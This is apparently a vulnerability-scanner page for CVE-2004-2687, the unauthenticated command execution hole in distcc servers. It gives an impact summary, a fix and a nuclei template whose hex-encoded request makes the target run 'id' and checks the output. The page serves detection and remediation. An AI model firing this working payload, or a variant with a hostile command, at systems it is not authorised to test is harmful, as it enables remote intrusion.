Distccd v1 - Remote Code Execution

highseverity

9.3CVSS score

87.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.

Impact

Unauthenticated attackers can execute arbitrary commands with elevated privileges by sending malicious compilation jobs to distcc servers that lack access restrictions.

Fix

Configure distcc to restrict server port access to authorized clients only, or upgrade to a patched version that includes proper authorization checks.

How to confirm it

Send: tcp probe to {{Hostname}}
Positive when: matches in raw /uid=[0-9]+.*gid=[0-9]+.*/

Run it with nuclei: nuclei -id CVE-2004-2687 -u <target>

The full check

id: CVE-2004-2687

info:
  name: Distccd v1 - Remote Code Execution
  author: pussycat0x
  severity: high
  description: |
    distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.
  impact: |
    Unauthenticated attackers can execute arbitrary commands with elevated privileges by sending malicious compilation jobs to distcc servers that lack access restrictions.
  remediation: |
    Configure distcc to restrict server port access to authorized clients only, or upgrade to a patched version that includes proper authorization checks.
  reference:
    - http://distcc.samba.org/security.html
    - http://lists.samba.org/archive/distcc/2004q3/002550.html
    - http://lists.samba.org/archive/distcc/2004q3/002562.html
    - https://github.com/crypticdante/distccd_rce_CVE-2004-2687
    - https://github.com/gwyomarch/Lame-HTB-Writeup-FR
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
    cvss-score: 9.3
    cve-id: CVE-2004-2687
    cwe-id: CWE-16
    epss-score: 0.87359
    epss-percentile: 0.99758
    cpe: cpe:2.3:a:apple:xcode:1.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2004,network,rce,distccd,vuln

tcp:
  - inputs:
      - data: 444953543030303030303031
        type: hex
      - data: 41524743303030303030303841524756303030303030303273684152475630303030303030322d634152475630303030303030637368202d6320272869642927415247563030303030303031234152475630303030303030322d634152475630303030303030366d61696e2e634152475630303030303030322d6f4152475630303030303030366d61696e2e6f444f5449303030303030303141
        type: hex
    host:
      - "{{Hostname}}"
    port: 3632

    matchers:
      - type: regex
        part: raw
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

References

Use this check only on systems you are authorised to test. Where the data comes from